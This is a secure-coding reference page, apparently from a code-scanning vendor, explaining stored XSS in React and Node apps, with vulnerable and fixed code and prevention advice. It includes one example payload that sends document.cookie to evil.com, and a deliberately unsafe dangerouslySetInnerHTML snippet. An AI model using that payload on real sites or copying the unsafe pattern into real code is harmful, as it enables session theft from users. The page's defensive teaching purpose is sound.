highCWE-79A03:2021

Stored XSS

User-supplied content saved to the database without sanitization and rendered in the browser as HTML, allowing persistent script injection that executes for every user who views the content.

How It Works

Unlike reflected XSS (which requires the victim to click a link), stored XSS is injected once and persists. An attacker submits a comment like `<script>fetch('https://evil.com?c='+document.cookie)</script>`. Your app saves it, and every user who loads the page runs that script. One injection, unlimited victims.

Vulnerable Code
// BAD: raw user content rendered as HTML
// Server saves content as-is
await db.comments.create({ data: { content: req.body.content } });
// Client renders it unsanitized
<div dangerouslySetInnerHTML={{ __html: comment.content }} />
Secure Code
// GOOD: sanitize on write, escape on render
import DOMPurify from 'isomorphic-dompurify';
// Sanitize before saving
const clean = DOMPurify.sanitize(req.body.content);
await db.comments.create({ data: { content: clean } });
// In React, use text rendering by default
<p>{comment.content}</p>

Real-World Example

MySpace's Samy worm (2005) exploited stored XSS to add 1 million friends in 20 hours. Modern examples include XSS in Slack's markdown renderer (2017, $3,500 bounty) and in GitHub's issue comments (patched before exploitation).

How to Prevent It

  • Sanitize HTML input with DOMPurify (isomorphic-dompurify for SSR) before saving
  • Use React's default text rendering (JSX expressions) which auto-escapes
  • Only use dangerouslySetInnerHTML with content that has been sanitized
  • Set a strict Content-Security-Policy to contain damage from any missed XSS
  • For rich text editors, use allowlisted HTML tags only (no script, no style)

Affected Technologies

ReactNext.jsnodejs

Data Hogo detects this vulnerability automatically.

Scan Your Repo Free

Related Vulnerabilities